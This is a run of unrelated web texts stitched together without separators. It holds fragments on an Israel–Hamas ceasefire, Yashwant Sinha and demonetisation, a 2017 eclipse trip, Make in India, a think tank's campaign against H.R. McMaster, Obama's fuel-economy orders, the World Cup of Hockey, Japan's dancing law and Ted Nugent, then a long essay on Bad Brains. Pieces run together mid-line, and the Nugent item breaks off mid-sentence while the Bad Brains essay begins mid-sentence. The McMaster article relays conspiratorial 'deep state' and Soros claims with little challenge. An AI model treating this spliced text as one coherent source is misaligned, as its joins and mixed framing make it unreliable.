My own opinion is that it would be better if the Israeli army and Hamas negotiated directly. Throughout military history, ceasefires have been arranged by military commanders. One side sends an officer with a white flag to the commander of the other side, and a ceasefire is arranged – or not…
In the 1948 war, on my sector of the front, a short cease-ire was arranged by Major Yerucham Cohen and a young Egyptian officer called Gamal Abd-al-Nasser.
Since this seems to be impossible with the present parties, a really honest broker should be found.
In the meantime, Netanyahu was pushed by his colleagues/rivals to send the troops into the Strip, to try at least to locate and destroy the tunnels dug by Hamas under the border fence to stage surprise attacks on border settlements.
What will be the end of it? There will be no end, just round after round, unless a political solution is adopted.
This would mean: stop the rockets and the bombs, end the Israeli blockade, allow the people of Gaza to live a normal life, further Palestinian unity under a real unity government, conduct serious peace negotiations, make peace.Yashwant Sinha the bureaucrat turned politician has held many portfolios in various governments but the one which begot him the rather unedifying sobriquet-cum-prefix ‘rollback’ was the finance ministry stewardship. In 2000 he pusillanimously rolled back the fuel prices which were just hiked and again rationalised the rollback two years later this time round of LPG price hike with a straight face. These are just two instances cited herein but there were more to warrant the sobriquet and prefix rollback before his name Sinha.
He is also known for changing with alacrity his political views. He was critical of Narendra Modi for his alleged role in Gujarat riots and was a part of the old guard that was not in favor of Modi becoming the prime minister. But he was mollified when his son Jayant Sinha was inducted in the Modi government, though in all fairness to the junior Sinha he could have made it on his own steam easily with his distinguished degrees if not pedigree and career abroad with Ivy League financial consultancy firms. He was a carping critic of BJP for its alleged communal character and lack of secular credentials before he joined it once again with a straight face without compunctions.
Arun Shourie the other disgruntled (besides being arguably distinguished) former minister in the Vajpayee government also has the habit of surfacing out of cupboard off and on and launching a diatribe against Modi. But he has had the decency to resign from BJP once he read the writing was on the wall for him correctly. Be that as it may, even on merits the senior Sinha’s charges against the Modi government smack of unwillingness to rock the boat for a good cause. Sinha and his ilk should know that a middle-class individual has to stretch himself on three important occasions in his life:
a) Marriage of his daughter;
b) Construction or purchase of a house; and
c) Sending his son or daughter abroad, especially, to the USA for higher education.
The same applies to a government when it is attempting something seminal and out of the box. Demonetisation and GST for which Prime Minister Narendra Modi and his finance minister Arun Jaitley are being pilloried belong to this genre. Only the extremely prejudiced would deny Modi the credit for using the brahmastra of demonetisation that has together with GST brought the hitherto unorganised sector into the mainstream of the economy. Like an individual grasping for breath for a couple of years after one or more of the above important events in his life, the Modi government too was destined to suffer a sustained lull in the economy after demonetisation and GST.
Of course, it needs to bestir quickly to revive the economy that has fallen into a rut for a variety of reasons including global. But it is uncharitable and disingenuous to blame the government for not ushering in tax reforms on the petroleum front because the opposition parties would never have cooperated especially in the GST Council. And the charge of ushering in GST ahead of its time is also hypocritical because GST at the end of the day is as much the opposition’s baby as it is BJP’s and time is never propitious for the weak-kneed.
The Modi government deserves credit for belling the cat. Both demonetisation and GST were warranted but no one had the boldness to soldier on unmindful of the inevitable criticism that follows bold steps. Both have served to mainstream the economy like nothing else has in the past. But the results would be visible only after a few years like the lag between investments and spurt in sales for a company. In the event, when Yashwant Sinha accuses some of the BJP heavyweights of pusillanimity, he is being economical with the truth and jaundice-eyed.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.So I got back late last night from seeing the great American eclipse. I went to a national forest down near Carbondale, IL. For those who don't know, I live in a suburb of Chicago. The drive there and back was terrible, and traffic was abysmal. My family and I arrived there at about 11:00 at night the day before and we set up tents along the road by a small clearing. I admit I didn't sleep much. Too much noise. I woke up really early and got ready for the day. So now that the mundane stuff is out of the way, let me try to explain how the eclipse went. I made some viewers out of solar filters designed for a telescope, since my eclipse glasses were counterfeit. The viewers worked quite well. The partial phase of the eclipse started at about 11:53 AM local time. As the minutes went by, I saw little bits of the sun start to disappear. It started in the upper right of the sun's disc. Over the course of about and hour and a half, the sun slowly shrank to a tiny crescent. Bit by bit, the sun vanished. As the sun went away the sky got dimmer and dimmer. The darkness was unlike anything I've ever experienced. We've all seen the sky dim when it's cloudy out, or near sunset. This was different. It wasn't like a cloudy day because the shadows were still clear. It wasn't like sunset, because the shadows were the normal length for 1:20 PM. As totality got closer, the color of the light seemed to change. I can only describe the light as silvery looking. Everything had a whitish, silvery tone to it. It's really hard to describe how it looked if you haven't seen it. It looked like those harsh white lights in a warehouse or stadium. About 20 seconds before totality, the light suddenly went from equivalent of a cloudy day right down to just after sunset. In literally seconds the light everywhere just went away. It was like someone turned a dimmer switch all the way down to the lowest level. The last bit of the sun vanished and it was time to take off the glasses. At about 1:21 PM totality began. Words cannot adequately describe what the total eclipse looked like. There aren't any adjectives to properly convey how I felt. It was the most amazing, incredible thing I have ever seen in my entire life. I literally, actually mean that. Nothing I have experienced before compares to the total eclipse, and I don't think anything I'll see later in life will compare. It is just that fantastic. There was the solid black disc of the moon in the middle, a bright white ring around the moon, and the corona surrounding it. Seeing the sun's corona was simply amazing. I saw the thin white wisps of gas surrounding the sun, but that doesn't describe it well. You can see picture online of the corona, but they cannot convey what it's like to see it in person. The only way I can describe it is that it was like looking at the face of God. Nothing can possibly compare to it. If you didn't see the total eclipse in person, you need to see it next time. If you thought it wouldn't be a big deal, you were wrong. If you thought it wasn't worth the time or the hassle, you were wrong. If you thought just seeing the partial eclipse was good enough, you were wrong. I cannot stress enough how incredible the experience was. The first thing I said was "Holy shit!". Lucky for me, there's another total eclipse in 2024, and it will also be visible in Carbondale, IL. It seems that Carbondale is now the nexus of the universe. I will be there in seven years. And anyone that has the ability to go see it next time must do so. It will change your life. Now, I do have a few photos I took. I use my Galaxy S7 with a 12x telescope attachment and a solar filter. The pictures ended up pretty good. Taking them was a pain in the ass. Unfortunately, I don't have a picture of the sun during totality. I wasn't going to waste my two-and-a-half minutes fiddling with the camera. I simply stared at the sun the whole time. It was over way too fast. Now for the pictures, click them for a bigger version. Here are a couple pictures of the surroundings during totality. Unfortunately, the pictures don't really convey how dark it was. Like I said before, it looked like just after sunset. Not coompletely dark, but more like twilight. Here's another photo I took of the shadows of the trees and leaves projected onto the ground. Notice how the bits of light between the leaves are shaped like little crescents. This is because the gaps between the leaves act like little pinhole projectors, which project the crecent of the sun onto the ground. Another cool effect just before and after totality was shadow bands. The were these little rolling bands of shadows undulating across the ground. It's the weirdest thing I've ever seen. Unfortunately, I couldn't get a picture of it. It was eerie. So that's it for now. Just remember, I cannot stress enough how awesome this was. If you have any opportunity to see a total eclipse in the future, do it. I guarantee you won't regret it.How does one judge ‘Make in India’? Recent news that foreign direct investment (FDI) flowing to defence in 2016-17 was an absurd trickle of Rs 61,000 (or perhaps $61,000, the Ministry of Defence didn’t specify) seems to have not caused much of a ripple.
Nor has the fact that FDI in defence in the past three years has been – this isn’t a typo either – $1,74,000, notwithstanding several liberalisation announcements.
Defence is just one, albeit telling, sector, with its own peculiarities such as the much-delayed “strategic partners” policy and a single buyer – the Ministry of Defence. But it is an exaggerated version of the story playing out across the high-profile Make in India campaign, which promises to generate millions of jobs in India by increasing the share of manufacturing to 25 percent of gross domestic product (GDP).A conservative think tank contends that if President Trump is truly interested in draining the D.C. swamp, he will need to start with the biggest “swamp creature” of them all.
That would be the president’s own National Security Council, according to the Washington-based Center for Security Policy, headed by Frank Gaffney Jr.
As long as Lt. Gen. H.R. McMaster is serving as the White House national security adviser, the president’s agenda is in jeopardy and likely doomed to failure, according to Gaffney.
That’s because McMaster’s ties to the bureaucratic apparatus loyal to the policies of former President Obama are too thick to overcome, Gaffney asserts.
McMaster has been purging national security officials loyal to Trump’s chief strategist, Steve Bannon, while surrounding himself with operatives loyal to Obama – or at least Obama’s policies with regard to Iran, immigration and shielding Islam from criticism by insisting jihadists hold to a “perverted” view of Islam.
The first example is Dina Habib Powell, an Egyptian-American who was tapped by McMaster to be his deputy despite her lack of foreign policy and defense experience, and her close friendship with Obama advisers Valerie Jarrett and Huma Abedin.
In contrast, anyone who views Obama holdovers with a wary eye, or who criticizes Islam as the inspiration for all jihadist attacks, is being ousted from the NSC, per McMaster’s orders.
Most recently, McMaster removed chief NSC strategist Rich Higgins for penning a memo warning of a mounting conspiracy against the president by an allied force of secular globalists and religious Islamists in Washington. Higgins also wanted the president to declare the Muslim Brotherhood a terrorist organization.
But now McMaster’s own past is starting to attract attention. He worked at a U.K.-based think tank supported by a George Soros-funded group whose primary purpose was to help sell Obama’s Iran nuke deal to the media and the public.
From September 2006 to February 2017, McMaster is listed as serving as consulting senior fellow to the International Institute for Strategic Studies, or IISS, which describes itself as a “world-leading authority on global security, political risk and military conflict.”
Since the Iran deal was signed by Obama, IISS has published a report saying Iran should not be held accountable for small, individual violations of the agreement as long as it has not committed an overall “material breach” of the pact.
The Institute for Science and International Security recently published a paper that warns the Trump administration against following the advice of IISS.
The paper gives a list of “instances where we feel the IISS report seeks to downplay compliance controversies, to the detriment of taking a holistic view of Iran’s compliance and actions overall.”
“The Trump administration is right to take a more enforcement based approach to the Iran nuclear deal,” the paper concludes. “A far better approach is to aggressively enforce the deal, challenging Iran on each violation regardless of its size, and insist that Iran can no longer exploit loopholes and ambiguities in the deal. It is perhaps on this issue of enforcement where we have our most fundamental disagreement with a recent International Institute for Strategic Studies (IISS) report.”
Trump has repeatedly rebuked what former Secretary of State John Kerry finally confessed was a mere “political understanding” with Iran, calling it the “worst deal” ever negotiated with a foreign power.
Not to be deterred, McMaster has continued to support U.S. compliance with the Iran deal, even as the U.S. is now reaping the consequences of past failed nuclear deals with another rogue state, North Korea.
Aware of the mistakes of the past administrations, President Trump reportedly ordered his subordinates in April to prepare for him an alternative plan to certify that Iran was in compliance with the deal and that it is in the interest of the United States. He is said to have been furious when no such option was provided 90 days later, compelling him once again to affirm an inaccurate certification.
One of the men McMaster purged from the NSC was Ezra Cohen Watnick, who reportedly held anti-Islam views and was described as an “Iran hawk” who wanted to revamp counter-Iran efforts in the Middle East. Watnick, like Higgins, also wanted to reform the intelligence community to rein in the “deep state.”
The Center for Security Policy launched what it calls its “Swamp Creatures Series” Wednesday to identify officials inside the national security establishment who are thwarting Trump’s agenda. And the CSP list of those who need to be shown the door starts with McMaster.
“Washington has been betraying America for so long it doesn’t even recognize, much less condemn the treasonous activity engaged in daily by left-wing and Islamic extremist groups, some of which it actively supports,” said James Simpson, author of a CSP-published book, “The Red-Green Axis: Refugees, Immigration and the Agenda to Erase America.”
Gaffney noted McMaster’s repudiation of Trump’s term “radical Islamic terrorism,” while openly opposing the president’s policies on Iran, Qatar, Syria, Afghanistan, Israel and the Muslim Brotherhood.
Gaffney said McMaster’s purging of those who support Trump combined with his choosing of officials loyal to the Obama’s globalist policies amounts to a “coup d’etat with respect to foreign and defense policy.”
“President Trump ran for office on a platform that is, in important respects, at odds with the views of Lt. Gen. McMaster and virtually all of those now populating the National Security Council staff,” Gaffney said.
“Ronald Reagan understood that ‘personnel is policy.’ If those who are nominally Mr. Trump’s personnel actually support policies he ran against, the people who elected him will be grievously disappointed — and disserved,” he said. “So will Donald Trump.”
Gaffney’s Center for Security Policy plans to monitor and collect ongoing evidence of McMaster’s dedication to Obama policy priorities to the detriment of the current commander in chief.President Obama plans to instruct key federal agencies today to reexamine two policies that could force automakers to produce more fuel-efficient cars that yield fewer greenhouse gas emissions, according to sources who have been briefed on the announcement.
The move, which the White House has privately trumpeted to supporters as "the first environment and energy actions taken by the president, helping our country move toward greater energy independence," could reverse two Bush-era decisions that have helped shape the nation's climate policy and its auto market.
Obama will instruct the Environmental Protection Agency to reconsider whether to grant California a waiver to regulate automobile tailpipe emissions linked to global warming, sources said, and he will order the Transportation Department to issue guidelines that will ensure that the nation's auto fleet reaches an average fuel efficiency of 35 miles per gallon by 2020, if not earlier.
On Dec. 19, 2007, then-EPA Administrator Stephen L. Johnson blocked the efforts of California and more than a dozen other states to limit automobiles' carbon dioxide emissions, arguing that President George W. Bush had addressed the issue by signing a law that same day raising the corporate average fuel-efficiency standard to 35 miles per gallon by 2020. But California's tailpipe emissions rules would have effectively required even greater fuel-efficiency increases, by seeking to cut vehicles' greenhouse gas emissions by 30 percent between 2009 and 2016, something American automakers have resisted.
The Bush administration never issued near-term guidelines for tighter fuel-efficiency standards: The Transportation Department circulated a proposal last fall that would have required auto companies to build new cars averaging as much as 31.8 miles per gallon by 2015, compared with the current level of 27.5 miles per gallon, but it announced less than two weeks before Bush left office that it would not issue formal guidelines.
Daniel J. Weiss, who directs climate strategy at the Center for American Progress, a liberal think tank, praised the new administration for pressing ahead with ambitious fuel economy goals.
"President Obama's actions will reduce our oil dependence by speeding the production of the gas-sipping cars of the future," Weiss said. "He understands that oil and gasoline prices will rise with our recovering economy, and more fuel-efficient cars will help families cope with higher prices. And other countries will want to buy our more-efficient vehicles."
Officials at General Motors and Ford said they were not aware of what the announcement would be. The White House declined to discuss the president's planned energy announcement.
Obama, who has consistently urged U.S. automakers to produce more fuel-efficient cars, is likely to accelerate the timeline for raising the nation's corporate average fuel economy for cars and trucks. The Transportation Department guidelines must be issued by April in order to affect the 2011 auto fleet.
Granting a waiver for California to regulate tailpipe emissions would affect nearly half the U.S. auto market. Thirteen other states -- including Maryland -- and the District have already adopted California's proposal, while at least four others have pledged to do so. When the EPA rejected the waiver, Obama issued a statement saying the decision "is yet another example of how this Administration has put corporate interests ahead of the public interest. If the courts do not overturn this decision, I will after I am elected president."
"Not only is the new president a man of his word, but he's making a dramatic break with the Bush administration's climate policy," said Frank O'Donnell, who heads the advocacy group Clean Air Watch. "It's a powerful signal that science -- and the law -- will guide his administration's decisions. This should prompt cheers from California to Maine."Imagine Todd McLellan as Herb Brooks in the movie "Miracle," a coach trying to unite players from different backgrounds -- not rival states and colleges in this case, but rival countries and NHL teams.
Imagine Team North America in the World Cup of Hockey 2016 like the United States in the 1980 Lake Placid Olympics, a group of kids trying to pull off a monumental upset and win it all.
Players respond with "Canada!" and "USA!" and "Edmonton!" and "Buffalo!"
And then some modern-day Mike Eruzione finally gets it.
"North America!" he yells.
If only it would work like that.
There will be no Brooks-like bag skate for Team North America when the NHL's best players 23-and-younger from Canada and the United States gather for training camp in Montreal and Quebec City in September.
No rope courses or trust falls or other team-building drills, either.
"I think that stuff sort of has to happen organically," Team North America co-general manager Stan Bowman said. "We don't have any specific activities planned which we think are going to put everybody together. Hopefully it's just going to sort of happen through the competitive spirit of these guys.
"They're all elite players, and it's a challenge. I think in a lot of ways we're the underdogs. I think we're sort of the wild-card team. We could do some damage, but we've got some really powerful teams in our own pool.
"So it's going to be a tall order to even make the semis, but that's our goal."
No one knows quite what to expect from Team North America, including people involved with the team itself, because there has never been another quite like it in a major competition.
That includes Team Europe, comprised of European players who aren't from the Czech Republic, Finland, Sweden and Russia for the purposes of this eight-team tournament. Though Team Europe is made up of players from different backgrounds, at least it has NHL veterans.
Video: Picking Team North America's goalie
Team North America is split almost evenly between young Americans and Canadians, who usually want to defeat each other in international competition, not work together. McLellan will have two weeks, including three pre-tournament games, to get his players on the same page before they play Sept. 18 in their first of three games in the preliminary round.
The bad news: To advance to the semifinals, they must finish in the top two in Group B, which also includes Team Finland, Team Russia and Team Sweden. To win the World Cup, they must win a single-elimination semifinal against the likes of Team Canada, Team Czech Republic, Team Europe and Team USA, then the best-of-3 final.
The good news: A short tournament in September works in their favor, because it promotes randomness -- especially if they make the anything-can-happen-in-one-game semifinal -- and young legs might not need as long to get going.
"I think in some ways, that's an advantage for the young guys," Team Canada coach Mike Babcock said. "They still have all the flexibility in their body and they don't need as much time. But for anybody who has played in the League for a while, usually you have a month of training camp."
They face less pressure, especially compared to Team Canada, which is following two Olympic gold medals, trying to remain the world's top hockey nation and playing on home ice. But they should be supported well at Air Canada Centre in Toronto, with so many Canadians on the roster and one American, center Auston Matthews, the No. 1 pick of the 2016 NHL Draft, belonging to the Toronto Maple Leafs.
"They don't have a lot of fear," Bowman said. "Young and dumb might be a bad way to put it, but they're going to show up and they want to win. They don't put maybe too much analysis into it, but I think that's a good thing. We're going to try to use that to our advantage."
McLellan and his assistants -- Jon Cooper, Peter DeBoer, Dave Tippett and Jay Woodcroft -- will not over-coach. They wouldn't have time to over-coach even if they wanted to. So for the most part they're going to turn the kids loose.
"We're probably not going to be the most technically proficient team, but I think we have a lot of energy, speed and talent," Bowman said. "Maybe that'll trump tactics. Obviously the coaches are going to do what they can to get them playing a certain way, but I think probably more so than some of the other teams we're going to rely more just on talent and youthful exuberance."
Miracle? If they win the World Cup, it will be only a minor miracle. They might be young, but they will have Matthews, Connor McDavid and Jack Eichel.
"They'll never play on the same team ever again," Bowman said. "They're all franchise players, and you can't afford to have three franchise players. It doesn't work in today's game.
"Twenty years from now, they're all going to be star, star players. The fact they all got to play together in this one short tournament, I think that's going to be fun to watch to see how this plays out."Japan announced that its infamous “no-dancing law” will be lifted in 2016, which means next year Japanese clubbers will be free to dance all night long – something they have not been allowed to do for the past 67 years.
After years of hot discussions, the Japanese government voted last week to lift the 1948 “fueiho” law (short version of Law on Control and Improvement of Amusement Business) which banned dancing in clubs and bars after midnight.
The law was officially introduced after World War II, aiming to put an end to prostitution usually thought to have been taking place at venues where dancing occurred. It prohibits dancing anywhere without a special license – and even at a place that has one, you can only dance until midnight.
The law was difficult to enforce, so for decades police were lenient about it. However raids mounted after the 2010 death of a 22-year-old student in Osaka, following a fight in a night club. It led to arrests and drug-tests among several club-owners and DJs, as well as the forced closure of several clubs.
READ MORE: Siberia’s got talent: Stunning neon dance show goes viral
Musicians and music-loving members of society all around Japan came together to call to ban the law to allow people to freely dance after midnight. The “Let’s Dance” campaign led by famous Japanese musician and composer Ryuichi Sakamoto garnered 150,000 signatures to abolish the unwanted law in 2013. In 2014 a group of non-partisan members of parliament was formed to submit a revision of the law to the parliament.
The draft was then updated by the government and police before its ratification last week. The new version still has one restriction, though: People can only stay on the dance floor after midnight if there are appropriate levels of light.
Clubs will have to be illuminated with at least 10 lux, the equivalent of twilight or a movie theater before the movie has started. This requirement is supposed to discourage crime and “indecent behavior”. Police will reportedly be checking clubs to make sure there is enough light. Those which are too dimly-lit, will be classified as “adult entertainment areas”.
The change comes as Japan prepares to welcome waves of tourists and visitors to the upcoming 2020 Olympic Games.
Japan is not the only country which limits public dancing. In March this year, Swedish politicians voted to lift a ban which forbids “spontaneous dancing” at clubs and bars without a special dancing license. The bill failed, however, which means that the owners of such venues still need governmental permission to allow their patrons to put on their dancing shoes.Ted Nugent Says He Works Closely With Ted Cruz And Other Prominent Republicans November 7, 2013 11:11 AM EST ››› Blog ›››››› TIMOTHY JOHNSON
National Rifle Association board member and conservative columnist Ted Nugent claimed on a Detroit radio station that he works closely with a number of prominent Republican officeholders, including Texas Sen. Ted Cruz, Wisconsin Gov. Scott Walker, Michigan Gov. John Engler, Texas Gov. Rick Perry, and Texas Attorney General Greg Abbott. During an October 30 Google hangout hosted by 94.7 WCSX, Nugent was asked about his new role as co-chair of Republican Sid Miller's campaign for Texas Agriculture Commissioner. While answering the question, Nugent referenced his close relationship with other conservative politicians, and suggested he played a role in the 2011 showdown between Walker and labor unions. According to Nugent, he "worked close with Scott Walker's team in Wisconsin when he took it away from the hippies." NUGENT: I'm contacted all the time, I work close with Ted Cruz who is a great patriot, a great statesman. I worked close with Scott Walker's team in Wisconsin when he took it away from the hippies and got rid of the [unintelligible] and got some freedom back in Wisconsin. I've worked with Governor Engler in the past. I've worked with different sheriffs and different attorney generals. I work closely with Greg Abbot and Governor Perry in Texas. Despite his history of racially inflammatory rhetoric -- for example he recently endorsed racial profiling -- Nugent has served as a surrogate and done other work for Republican political campaigns. (He is also known for making offensive remarks about women, Muslims, immigrants, and LGBT individuals.)
After endorsing Mitt Romney and acting as his surrogate during the 2012 elections, Nugent infamously claimed that in one year he would be "dead or in jail" if Barack Obama was reelected. Nugent said that Romney solicited his endorsement, a report the Romney campaign denied after Nugent's outburst.
Nugent is also closely associated with Tea Party Rep. Steve Stockman (R-TX), who invited gun rights absolutist Nugent to the 2013 State of the Union address, which featured a number of victims of gun violence. After Nugent's presence |
a restored palace of African-American musical history. I came despite having sworn off seeing the band after a free show at D.C. dancehall Tracks in 1995. At that time, I was exhilarated by the gracious gesture, and hopeful the band might finally break through to mass popularity. But I left disheartened after witnessing a distracted, adrift H.R. hiding behind shades and goofing on the songs. As a fan and friend, it was excruciating to watch.
I had no wish to repeat that experience. When the band returned to action as Soul Brains in 1998, I wasn’t reassured. As tales of H.R.’s onstage behavior and chaotic, frequently-verging-on-homeless lifestyle filtered back to me, I began to fear for his life more than his artistry.
A certain word kept popping up in conversations with other folks: schizophrenia. A former manager, Paul Cornwell, used it when I interviewed him for Dance of Days, as does Guy Oseary, from Maverick Records, in A Band in DC. A more professionally grounded diagnosis can’t be found, for everyone close to H.R. says the same thing: He won’t see a doctor. With that in mind, I wasn’t quite sure it was even right to go see Bad Brains perform. But the pairing of band and venue felt significant, and I hoped H.R. was doing better.
Chatting before the show, I find H.R. peaceful but as enigmatic as ever. When I ask if he’s excited to sing with Bad Brains again, he grins and nods his head. When I refer to Bad Brains by name another time, he corrects me gently, “You mean the Mighty Massive Brains.” Asked if he still wants revolution, H.R. smiles and answers so softly I have to lean forward: “Yes, of course, but nothing violent or self-destructive.” He seems blissed out and almost vacant, giving monosyllabic answers. Yet when his blue hollow-body guitar threatens to topple to the ground, H.R. is cat-quick, catching it with one hand.
I linger in the dressing room, writing prayers for my Catholic parish while I wait for Tony. H.R. mutters to himself quietly but incessantly. I leave the room more confused than when I entered.
The show offers little reassurance. When the curtains part, H.R. stands in a gray jumpsuit with stuffed pockets—there are bulges the size of sneakers on either side of his crotch—and sports gold-painted loafers. His guitar is fastened high on his chest, perhaps as protection against the expectations of fans looking for the fiery prophet. H.R. flashes a peace sign and steps to the microphone, but his soft words are swallowed in the mix.
I had thought punk long ago lost its ability to jar my sensibilities, but H.R. finds a way to prove me wrong. He stands still, hands at his side, mumbling the words as “Attitude” tears out. Near the climax, H.R. produces a handkerchief from his bulging pockets and carefully wipes the microphone. At the song’s end, he stiffly bows left, center, right to the crowd. I’m baffled: Is this a radical artistic statement, a protest, or simply impairment?
So it goes, all the way up to “At the Movies,” during which H.R. barely tries to sing. The band finishes a blistering, more-or-less instrumental version of “Pay to Cum” with H.R. sitting on the drum riser. As Darryl, Gary, and Earl decamp for the wings before the inevitable encore, H.R. begins playing “Love Comes First,” a song from his last solo album. No sound comes from his guitar, yet HR persists a cappella: “Love comes first/In the trinity…”
Just then Darryl returns to the stage, cutting H.R. off midphrase with a booming voice: “We’re still with you all, D.C., we’re still with you.” With that, the band is off into “I Against I.” A bemused H.R. trails behind like a cartoon character holding on to a runaway car.
Suddenly, the song is over, and the band leaves the stage abruptly. H.R. persists, gesturing and swaying, earnestly mumbling a sermonette for a befuddled crowd, including a knot of slam dancers pursuing a circle pit even though the music is over. After promising more music “in a few moments,” H.R. finally exits.
The band doesn’t return. Amid a sea of confused concertgoers, I hit the doors, and someone blurts in my direction, “What just happened?” I wince and shake my head, not at all sure what to say.
The next night, before the band’s second Howard show, I talk with other members, whose frustration hangs heavy in the air. While Earl shakes his head over H.R.’s antics, Gary expresses frank disappointment: “We aren’t ‘entertainers,’ but when people pay good money to see us, they deserve better.” Darryl is absent, but his dismissal of H.R. as a “Judas” in A Band in DC suggests the extent of his anger.
When I mention how heartbreaking I found A Band in DC’s portrait of H.R.’s deterioration, Gary corrects me: “No, I’d say it’s more his dissociation…he has withdrawn more and more.” As Tony joins the conversation, I am struck that the band seems to view H.R.’s peculiarities as intentional sabotage rather than evidence of psychopathology.
When asked what Bad Brains might mean in 2012, Gary perks up, offering, “It’s just the same...we are trying to do the works, the Lord’s works.” As the discussion shifts to the upcoming album, Gary’s belief in the band as a force for good seems palpable.
The show begins, and H.R. seems to be in an even more devilish mood. Dressed in the same jumpsuit, now embellished with a yellow Lion of Judah T-shirt, H.R. smiles and greets the crowd: “Well, look at that…wasn’t that something? Are you ready to hear some good music?”
As “Attitude” kicks off the set again, H.R. sings louder than the night before, but again remains motionless except for occasional strums of his guitar. His between-song patter is now audible, but suggests outright sabotage. The band—and Gary in particular—is not having it. Over and over, H.R. launches into his comic routine only to be curtly cut off by the roar of Gary’s guitar, detonating the next song.
If last night was powerful musically, tonight Bad Brains are on a rampage. As the band rips through classics like “Banned in D.C.,” “FVK,” “Reignition,” and “Soul Craft” alongside newer firecrackers like “Thanks and Praises,” H.R. seems a bit drawn into the songs despite himself, carried along by their force, even as he resists movement.
When an encore of “I Against I” and “Jah People Make the World Go Round” caps off the set, I find myself genuinely touched, even uplifted. In my mind it’s clear: If last night the singer fought the band and won, tonight the band has overcome.
“Jesus knew their thoughts and said to them: ‘Any kingdom divided against itself will be ruined, and a house divided against itself will fall.’” Luke 11:17
Should there even be a Bad Brains in 2012? The band is as gifted as ever, yet without H.R. firing on all cylinders, how can it hope to preserve, much less advance, its legacy? Should H.R. even be on stage? Does it help or harm his personal healing?
I pose these questions to James Lathos, a Maryland filmmaker working on a documentary about H.R. He grants the validity of my concerns but argues that H.R. remains a gifted artist, if one who might no longer fit with his band’s energy. He shares footage of a smiling, hyper-fit H.R. enraptured during a recent recording trip in Jamaica. These dub-heavy solo songs find H.R. on more comfortable musical ground than the roar of Bad Brains. They suggest James might be on to something.
A few weeks later, James and I visit H.R. in Baltimore, where the singer now lives in a raggedy rowhouse near Pigtown, a neighborhood better known for drugs and prostitution. He greets me at the door wearing a blond women’s wig held on his head by an antique white head covering. He’s in a jovial mood, more animated than at the Howard, joking with the sketchy-looking white women a couple doors down who try unsuccessfully to lure him into their parlor. The interview is pleasant but surreal. H.R. alternates between calling me “Mr. Andersen” and “darling,” answering my questions with a ready smile, an easy laugh, and what seems like an extremely loose relationship with reality. He says he’s excited for a Bad Brains show coming up in one week—at Bonnaroo in Tennessee—and insists the band has yet to unveil its best material.
It might be more convincing if H.R. didn’t also recount how he—yes, H.R.—negotiated with Indian tribes to make possible the building of Baltimore, or tell me Barack Obama once dated his mother. As I listen to one fantabulous assertion after another, I’m not sure whether H.R. is pulling my leg or truly believes these fairy tales.
At the same time, the man seems mostly at peace, with flashes of wit and insight. H.R. clarifies that he stands still onstage in order to sing better and “not just scream.” He notes with pride that he can still do his signature backflip, but insists “making good music is more important than jumping around like a monkey.” I ask why he refuses to use the band’s given name, and he whips out a Bible and locates Psalm 100: “For the Lord is good; his mercy is everlasting; and his truth endureth to all generations.”
Despite his friends’ concerns for his health, H.R. has visited a dentist, at least: He now has dentures. He also reveals that he no longer smokes pot. While the former undoubtedly makes the rapid-fire delivery of Bad Brains songs more challenging, both facts are good news.
After we drop H.R. at a street festival to perform—still in wig and head covering—James and I discuss the singer’s mental health. While H.R. told me he sees doctors regularly, James rebuts the tale. Visibly worried, he shares his fears about H.R.’s recurring headaches as well as the physical and psychic cost of his spartan, hobo lifestyle—for three years he lived in a Baltimore warehouse without heat—and the sometimes dodgy characters by whom he is, as a result, often surrounded.
“Keep out of reach/Don’t compromise,” H.R. sang in 1984, in his first post-Bad Brains solo band. But if Lathos sees H.R. still determined to live this demanding Rasta-punk credo, it seems a hard road to walk for a man nearing 60.
Meanwhile, Darryl, Gary, and Earl seem to have their eyes fixed on the road ahead—a fact apparent in their decision to name their upcoming album Into the Future. This could be bravado, but the muscle of the title track and several other new songs that Tony plays for me suggests they are still up for a fight. But is it a battle they can win?
For me, the more painful question is whether Bad Brains is even still a band in the spiritual sense, sharing a compelling vision. Given the Howard Theatre shows, this seems unlikely.
But for better or for worse, Bad Brains is these four people, brothers tangled up in a profound bond that has come to dance jaggedly along the line between love and hate, genius and madness. If this allows Bad Brains to play shows—often disappointing, sometimes revelatory—and painstakingly assemble new material, it doesn’t bode well for its future. As someone indelibly touched by their art, I hope to see them triumph. But I also fear there is no escape from this cycle of creative crucifixion that threatens to disfigure their legacy.
There is no simple resolution, for the band’s fractures and failures are intimately bound up with H.R.’s personal struggles. Unless he accepts help and finds real healing and reconciliation, the band will remain doomed to disappoint its fans and fail to reach its own highest aspirations. Worse, H.R. will continue to walk along an abyss, sliding toward self-destruction, not simply as an artist but, more importantly, as a person.
“And be not conformed to this world: but be ye transformed by the renewing of your mind, that ye may prove what is that good, and acceptable, and perfect, will of God.” Romans 12:2
I recently stumbled across a professionally recorded 1982 Bad Brains show from the Fillmore in San Francisco, right before the sequence of events that led to the band’s nosedive in Texas. It’s a riveting, transformative performance, and H.R. is on fire. “We are tired of being prisoners,” he shouts. “We are tired of being slaves…” As the clarion chords that herald “Banned In DC” ring out, he pauses. Then, as the bass and drums gather momentum, he screams into the void: “The choice is yours!” The band explodes, a runaway locomotive straining at the rails but somehow never losing its way.
As I listened, the universe once again ignited with possibility, and I was transported back 30 years—but then the tears came. I ached for those long gone days, filled with innocence and my own newly discovered power, with all of life looming before me.
And then, in the next second, I glimpsed the ghost of the most supremely gifted performer I’ve ever seen, undermining his band of brothers, pissing away the promises of revolution made long ago, slipping into darkness.
The vision faded, replaced by the sober determination that is so often the companion of truth. I recognized my own folly, the unfair projection of my dreams and failures onto this band and its supremely human leader. There’s no need for Bad Brains—much less H.R.—to fight my battles. They are mine to win or lose.
“At the Movies” rushes back into my mind, kicking up sparks in my soul. From across the decades, I touch the heart of my 23-year-old self, a boy becoming a man, finding renewed hope, taking up new challenges, making bigger promises while hearing one man in one moment channel a vision large enough for a universe of moments: “So I say to the youth right now/don’t sway to the unjust/no matter what they say/never give in/never give in…”
I know the truth: Since we can’t be what we were, we must be just what we are, stretching toward what we still can be. This is all we have, and it is more than enough. For me, whatever their present struggles, this is the sacred, saving gift of Bad Brains: To know simply, with certainty, that the choice to fight for our lives is forever ours to make.
The film Bad Brains: A Band in DC shows at 10:45 p.m. on Thursday, June 21 and at 10 p.m. on Saturday, June 23 at the AFI Silver Theatre as part of Silverdocs. $13.
